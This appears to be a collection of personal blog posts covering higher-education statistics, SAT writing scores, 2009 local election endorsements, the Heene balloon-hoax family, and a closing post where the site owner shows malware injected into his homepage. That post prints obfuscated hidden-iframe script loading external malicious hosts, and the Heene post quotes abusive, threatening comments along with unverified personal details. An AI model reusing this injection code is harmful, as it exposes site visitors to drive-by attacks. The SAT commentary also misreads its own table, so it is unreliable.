Stossel hammered after joining Fox: The Double Standard About Journalists' Bias

The Double Standard About Journalists' Bias

V-22 Osprey scores low for cost, reliability

Too bad, it's a cool idea if they get it to work economically. "Approaching two years in Iraq and about to deploy to Afghanistan, the V-22's short-lived engines, poor capability rates and high expense have stirred a new waved of criticism."

A Harvest of Good News on African Americans in Higher Education

A Harvest of Good News on African Americans in Higher Education Complete article in Journal of Blacks in Higher Education: http://www.jbhe.com/news_views/64_goodnews.html

Here is a summary of recent positive developments in the progress of blacks in higher education. The data is based on JBHE research and reports from the U.S. Department of Education and the U.S. Census Bureau.

HIGHEST LEVEL OF COLLEGE ENROLLMENT A new report from the U.S. Department of Education states that in 2007, the latest year for which complete data is available, there were 2.2 million black students enrolled in higher education in the United States. This is the highest level of enrollments for African Americans in history.

COLLEGE BLACKS AT PARITY POPULATION • Blacks now make up 13.1 percent of all students enrolled in higher education in the United States. Measured by percentage of population, blacks have now reached parity with whites.

3 TIMES AS MANY BLACKS IN GRAD SCHOOL AS IN 1990 • In 2007, the latest year for which statistics are available, there were more than 230,000 African Americans enrolled in degree-granting graduate schools. This is an all-time high. In 1990 there were 84,000 African Americans enrolled in graduate school, barely more than a third of black enrollments today

AP UP FROM 3.8 TO 6.1 PERCENT IN LAST 10 YEARS • In 2008 blacks made up 6.1 percent of all students enrolled in Advanced Placement courses in high school. These courses are equivalent to introductory courses at the college level. A decade ago blacks made up 3.8 percent of the students in these courses.

ONE THIRD 18-24 IN HIGHER ED VS 20% IN 1981 • Today almost one third of all African Americans ages 18 to 24 are enrolled in higher education. A generation ago in 1981 less than 20 percent of all blacks in this age group were enrolled.

Asians Equal Whites in SAT Writing, but larger SD means probably more on top

ASIANS ABOUT EQUAL IN MEAN, BUT LARGER SD MEANS MORE ASIANS AT TOP SCORES http://www.collegeboard.com/prod_downloads/highered/ra/sat/2006-total-group-writing-subscore-report.pdf
2006 Total Group Writing Subscore Report
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SAT Writing Subgroups 2006
Performance by subgroups

Performance across the essay, multiple-choice questions, and the overall writing section demonstrated similar trends to those seen on the other sections of the SAT Reasoning Test. Table 1 summarizes the performance on the writing section by gender and ethnicity.

# of students Essay Multiple-choice Total Writing
Section  Essay     MultCh Total
         Mean SD   MeanSD Mean SD
1 White  7.5  1.6  52  10 519  100
2 Asian  7.5  1.8  51  12 512  119

3 AmericanIndian 7.0     1.6      47      10     474     101
4 Hispanic       6.8     1.6      45      10     451      98
5 Black          6.5     1.6      43       9     428      93

Overall       7.2     1.7      50      11     497     109
Female        7.4     1.6      50      11     502     108
Male          7.1     1.7      49      11     491     110
Other         7.3     1.7      49      11     493     110
NoResponse    7.0     1.9      48      12     482     127

Whites have slightly higher mean 519 vs 512, but larger SD 119 vs 100, so there will be more Asians at the top of the curve Blacks lag Hispanics and Native Americans

Update: Bothell / Northshore School District Election 2009 Review and endorsements

Here are my reviews of the Bothell / Northshore School District candidates
Note: I ran for the NSD director position 1, and placed third after Julia Lacey.
My slate: (yours will vary)
1033 - Yes
75 - no
Judge - Rico Tessandore
Northshore school board #1: Julia Lacey
#5: Todd M. Banks
Fire Dist 7 pos 2: Brad Ray
Water District: Brian M. Davis
Library Prop 1: Yes

Alderwood Water & Wastewater
Commissioner Position 2
6 Year Term - Vote For One

• X Brian M. Travis - His statement is pretty generic, but he ran in 2008 for State Rep Dist 21 as a republican, supporting traditional marriage, low cost basic health plan, official english, more freeways over light rail, he was 33 in 2008. If you want more GOP candidates as an alternative, or care about turning down Ref 71, he's worth looking at
• Donna Cross - She's the incumbent, she shows up on commission official minutes, no endorsements I can find.

Northshore School Dist No. 417
Director District 1
4 Year Term - Vote For One

• X Julia Lacey - I now favor her over Buske if she gets #2 in primary. PTSA parent, her main position is more transparency in decision making, she has support of some math parents, endorsement of democrats, and teacher and employee unions. She's offered to listen to complaints about awful math programs adopted by NSD. If anything over half my support goes to Lacey, she's in. Since the opponent is also a Democrat, it's ok for conservatives to vote for her.
• Sue Buske - incumbent with lots of signs and t-shirts, started as PTSA parent. On complaints about math, she says she trusts judgement of teachers and administrators (which means she doesn't care if the textbooks like CMP don't even have enough information for students or parents to complete the homework such as as pi r squared for area of a circle) I don't know if any crowd has ever applauded her for a speech or performance.

School District Directory District 5

• X Todd M. Banks  He's actually teamed up with Lacey for this, so if people favor Lacey, this should spill over into Bank's race, and you should vote for him if you like Lacy or me (Arthur Hu). He's an executive at Kenmore Air. Endorsed by Kirby Wilbur of conservative KVI radio.
• Cathy Swason: Democrat who parents are frustrated with that she tends to side with the administration rather than taking a skeptical view of what they're up to, including parents who figured out they wanted to shut down a school mainly to sell off the land rather than a bogus enrollment study. Not endorsed by Democrats like Lacey.
  
  
  
  
  

County Council

• Dave Gossett: Incument Democrat, hasn't done an awful job, but county council has made some funny decisions about development, and he's probably completely behind the Obama administration.

• Bob Meador: Republican running a minimal spending campaign, he's good if you'd like to promote a Republican and news ideas for the County, he's got government and business experience:Retired Fire Chief (Lynnwood) with 30 years of service.  Stevens Hospital Board Officer (5 years)* Fire District One Board and Committee Chair (combined 5 years)
  
  
  
  
  

Superior Court Pos 2
Voting for Judges comparison, really between Wilson and Rico

• Joe Wilson #1 in money raised, #2 spent. Endorsed by lots of democrats, and 39th dist democrats, some republicans like Koster.
• David Hulbert - no chance
• X Rico Tessandore #2 in money raised #1 spent, Slade Gorton, Rob McKenna, Mayor Lamb, seems to be fewer democrats backing this guy.
• Scott Peterson - no chance
• Scott Lord - no chance

Sno-Isle Intercounty Rutal Library District
Only issue I see is that levy is raised from a lower level to 0.40, so it's raising taxes above being an optional levey.
 X Approve

Ref 71:
Yes: If you believe gay couples deserve same rights, and don't mind that marriage will eventually be redefined by courts to be the same for gays, vote yes
XNo: If you believe that marriage is between a man and a woman, and that the law will lead to defining marrage as between gay couples, and enforcing equality in the curriculum and public speech, and the traditional biblical view on same-sex relationships, turn it down.

Initiative 1033
No: If you think a tax limit will cause funding problems, turn it down
Yes: If you think the govt is spending entirely too much money as it is, and you have to put the brakes somewhere, approve

Democrat 39th district Snohomish County Democrats Endorsements

Fire Protection District 7

Commissioner Position 2
6 Year Term - Vote For One

• Neil A. Doherty, Jr. - Incumbent, but hasn't left much of a trail on the internet good or bad. I do like the new fire station.
• Brad Ray - Law enforcement officer from Bothell who has worked with fire people and wants to cut waste and be fiscally responsible.

City of Bothell
Council Position 3
4 Year Term - Vote For One

• Gerry Gawne - questions why and how city has gotten into real estate business buying up lots of stores, some in historic buildings to replace with a fancy new Town Center. I like that attitude.
• Del Spivey - incumbent who's helped push the new vision of down town.

Bakka Balloon Mom Mayumi Heene is in Deep Tofu

Bakka Balloon Mom Mayumi Heene

Thankfully, the latest infamous Asian American isn't a disgrunted geek shooter or Yale murder victim, but the Japanese American mom of "balloon boy", Mayumi Heene and her boys. In WWII, the government kept it a secret that the Japanese Navy was launching sending balloons over our forests, but everybody heard about this balloon. The press wondered if she was a co-star in crime, or battered victim, but after telling all to the sherriff, maybe she's both. Hillary put up with Bill Clinton to stay in the limelight, so Richard Heene might have been her less-than-shining knight. I first heard the story on Dori Monson's radio show in Seattle, and then saw balloon land on internet video. Her looks, name, and accent were all Japanese. That makes her boys Falcon, Bradford and Ryo Asian or at least "Hapa" American as well, and her husband an Asian-in-law.

We learned they were the same "we are children of aliens" family led by a manic DIY mad-scientist dad that was on the television show "Wife Swap" standing in front of what looks like UFO balloon version 1.0. Hubby Richard called the guest wife a "man's nightmare" and was glad "my wife was born in Japan"  A boy from the guest family were equally impressed at how Mayumi "yelled a lot" and showed "strong emotions" in taking charge of her alternate household. Mayumi's name was Iizuka when she met Richard in a Hollywood acting school. He evidently impressed her enough as a wacky gaijin to give her hand in marriage him in 1997 in Las Vegas, perhaps to get away from her strong, overbearing father. They're not exactly what you'd expect a real life goof-off Homer and straight-woman Marge Simpson to look like. With a hard charging Americanized slightly nutty professor dad with 3 boys and wife from Asia who stays in background, they don't sound like any family I know personally....

Barbara Slusser of Fort Collins got close the the family working with the dad on TV projects, but pulled out over concerns about his temper. She's got some people upset over promoting stereotypes when she told the press her Japanese heritage has kept her in a "subservient" relationship with her husband and even her boys. "She's a highly intelligent woman, a lovely soul", but Slusser said "Whatever he says goes. She's basically his slave." She says Mayumi is a rock for her husband, and should be put up for sainthood for putting up with him, but thought she'd even "wear orange and go to jail with him."

Disgrasian.com's Diana Nguyen and Jen Wang noted that the report seemed to paint that Mayumi "is essentially a sad, suffering-in-silence subservient-a word used three times to describe her-- Asian woman cliche." But they did notice that the pair had separate his-and-her lawyers. That's not something you'd expect from a wife loyal enough to go down with the ship and her captain.

Now there's a big difference between "subservient" and "submission." Looking up my Asian values (arthurhu.com/index/values.htm) paper, the Japanese word "Amae" encapsulates heirarchy and dependence. While the old are above the young, and husband over the wife, EVERYBODY submits to somebody else, not just the wives. If Slusser claimed the mother submitted to the kids, that's a far cry from the "Asian mother loses it when sees B+" stereotype. One Japanese woman commented she wasn't being stereotypical, but "Bakka", or "crazy", and from what I've seen of video clips she doesn't seem to be an average Japanese any more than Richard is a typical American. Why someone would stick with a guy like that might lie in "Gaman", or inner strength, and "Sho ga nai" which means "It Can't Be Helped". When you're in a pickle, you make it work instead of quitting or being defeated.

Now the local sheriff Sheriff Alderdan is telling us they are in a good 'ol American "heap of trouble". One Colorodoan reader who was "embarrassed to call him our elected sheriff" called him a "media hog" who had "taxpayer employed family members".  Alderdan doesn't sound like kind of guy you'd want to mess with your family if he didn't think your balloon hoax was funny. Things could get ugly as they could be looking at felonies that could bring a dozen years in prison, a half million in fines, and a bill for the rescue that won't be erased by bankruptcy.

In 2008, America's televisions were taken over by another hoax hoax by Rozita Swinton claiming abuse by polygamists at the Texas YFZ ranch. Authorities used her call for a flimsy search warrant to dig up whatever they could to justify putting every child into foster care on the basis of what a few men might have done. But ranch residents were telling the truth when they warned that it was a hoax, as many others quickly suspected. If any prankster deserves prison time, Swinton does for blowing over 14 million dollars and ruining the lives of hundreds of women and children injustly interned for weeks and even Texas Rangers were breaking down into tears when they had pry away the kids from their mothers. It looks like the authorities are protecting instead of prosecuting her since still hasn't been even charged for the Texas calls, or stood trial for the calls she's been charged for in Colorado.  Not only that, now it's the Heenes turn to have their house raided at 1AM by the cops and Child Protective Services. Photos, cameras, tapes, computer and computer files were all removed, but without the tank and SWAT team. America, we have to able to tell the bad guys from the REALLY BAD guys.

This is a family living on the edge, having lived in an office space, renting homes and driving with broken hatch window. They love their boys, and didn't mean to hurt anybody. Many Americans can only dream of capturing the imagination and attention of America if only for a few hours. As much some might despise the misguided father, their misdeeds certainly don't rise to the level of having the book thrown at them or delivering the boys into the clutches of the foster care system. In this day of zero tolerance, America has shown how the real bad guys come out when Americans get legal excuses to demonstrate just how much they dislike some people. Judging by comments left on the richardheeneofficial youtube channel, there's a mob out there just waiting to mete out justice and I can't imagine how having a wife from Japan is going to help their case.

• "Hey f-g-t, Your wife is a mail order piece of cr*p.."
• "When your *ss gets sent to jail ...Have fun being r*ped."
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  "an egotistical, wife beating. brainwashing, waste of air, low life scum!
  
  
  
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  "I hope u go to jail for ur crimes or at least die from those lovely tornatos"
  
  
  
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  "you are the reason the rest of the world hates our country"
  
  
  
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  "F-ing... D-bag....".
  
  
  
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  "Take his kids away from him.. many living safe families would would to have those children"..
  
  
  
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  "I hope someone kills you and your slap head wife".
  
  
  

This family is in some deep tofu folks. Look in your history books of the American west to see what people felt perfectly justified to do to the Chinese, Mormons and Native Americans. As a matter of fact, the Chinese did take jobs away from whites, dress and talk funny, and trade in opium. As far as I'm concerned these folks did commit a hoax, but let's not confuse justice with what a lot of people would like to do to them. They don't have a mean bone anywhere in their bodies, but they're pretty much at the mercy of public opinion now. After they've paid a fair price for their mischief, they need help to get back on track to the American dream. While Asian parents are tough on discipline, it's to teach a lesson, not ground people for life.

They've probably strangers to the Asian Asian community(TM), but look at how the African Americans are willing stick up for their people, no matter what they've been accused of. This is not just any bunch of redneck losers, they're making our history. God help the next family that gets their photos and computers taken away because they made the government look foolish. MIT students break rules to pull famous "hacks" all the time. If it were up to me, I'd give back their stuff, sentence them to a month in jail, and a month of community service. Then harness their obvious energy for the public good by handing them over the Great American Celebrity Machine. The dad would make a great host of a backyard inventor show, and put Mayumi on Oprah. Whatever wealth they get should be plowed into scholarships for other kids of crackpot parents, not the helicopter gas bill. If nobody has yet stuck up for these adventurous folks, it's time for the Asian community to take a stand, starting with this Asian American dad.

And some last minute tidbits from the Japanese blogs and newsboards I haven't been able to verify, but might be true:

• The two apparently met in Los Angeles at the while students at the Lee Strasberg Theatre and Film Institute
• Richard Heene was arrested in April 1997 in LA, charged with misdemeanor vandalism, vehicle tampering, and disturbing the peace. On April 15, 1997, Heene pleaded no contest to vandalism and the other charges were dismissed, serving 4 days in jail (TMZ.com)
• Mayumi Iizuka, in Japanese 飯塚 真由美, Japanese news reports she is from from Gifu Prefecture in Central Japan. She was born January 2nd 1964 and is 45 years old
• Someone on a Japan newsboard who claims to live on their street believes they are living on money sent by Mayumi's parents.

Some videos:

• Wife swap preview http://www.youtube.com/watch?v=lr_zA5E7n7A singing, on guitar, selling fix-it man service
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  9 News http://www.youtube.com/watch?v=GxTOyHBbu9k launching rockets into storm
  
  
  
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  99 ballons parody http://www.youtube.com/watch?v=aTQBzK-VsPs
  
  
  
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  Sheriff http://www.youtube.com/user/WeDidThis4theShow#p/a  "ballon could not fly" string duct tape, tarp aluminum foil
  
  
  
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  heene video fan channel http://www.youtube.com/user/WeDidThis4theShow#p/a
  
  
  
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  911 call "I think he's inside" http://www.youtube.com/watch?v=Q90IBT_0wPg&feature=player_profilepage#
  

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How I got rid of malware "attack site" code

How I got rid of malware "attack site" code


My website http://www.arthurhu.com/ is hosted on oneandone, and I upload to it using ftp. If you use Firefox or chrome, going to the site will send you to a "attack website" warning. Nobody ever got hurt as far as I know, but it scares people away.

Somehow, somebody stuck this code in default.asp:

(iframe height="1" src="http://updeit.com/" width="1"](/iframe](script]


document.write("("+ "iframe"+ " "+ "s"+ "rc="+ "h"+ "t"+ "t"+ "p"+ ":"+ "/"+ "/"+ "ze"+ "n"+ "i"+ "t"+ "ch"+ "ampi"+ "on."+ "c"+ "n/n"+ "ic/"+ "main"+ ".ph"+ "p "+ "hei"+ "gh"+ "t"+ "="+ "2"+ " w"+ "idth=1]"+ "(/i"+ "f"+ "rame"+ "]");

(/script](script]

document.write("(iframe"+ " s"+ "rc='htt"+ "p://"+ "z"+ "enit"+ "champion"+ ".c"+ "n/nic/"+ "main.p"+ "hp' height="+ "2 width=1](/iframe]");

(/script](script]

document.write("(" +"i"+ "fr"+ "ame"+ " s" +"r"+"c"+"=h"+ "t"+"t" +"p"+ ":" +"//vi"+ "p"+"pr"+ "o"+"j"+ "e" +"c" +"t"+"s."+ "c" +"n" +"/ "+"h" +"ei"+"g"+ "h"+ "t"+ "=" +"1"+ " wi"+ "d" +"th=" +"1](/i" +"f"+ "ra"+"m"+"e]");

(/script](script]

document.write("(i"+ "f"+"rame "+"s" +"rc=ht"+ "t"+"p:"+ "//"+"u"+"p" +"da"+"tedat"+ "e.cn/ "+ "hei" +"g"+"ht" +"="+"1" +" " +"width=1]"+ "(" +"/" +"if"+"rame]");

(/script](script]

document.write("(if"+"r" +"a" +"m" +"e" +" "+"s"+"rc="+"ht"+"tp:/" +"/"+"u" +"p" +"d" +"a"+"t" +"ed" +"at" +"e." +"cn" +"/ " +"h" +"eig" +"ht"+"=" +"1 " +"w" +"idth" +"=" +"1]" +"(/if"+"ra" +"me"+"]");

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Looks like it wants to create something with http://updatedate.cn/ in it (DON'T CLICK THERE!)
I used CuteFTP Pro 8.0 to look at the directory and found a few files modified Aug 2009, most of the files haven't changed since the 1990s. So most of the files that had new dates had this code, or something similar to it. The tech support said that usually it's code injected with a form or database, but it's just static hand-coded html that I use. Hopefully, changing the ftp password will fix the problem.
 
Anybody else got ideas of how to keep a website clear of this stuff? Anybody knows how this malware is supposed to work based on this injected code?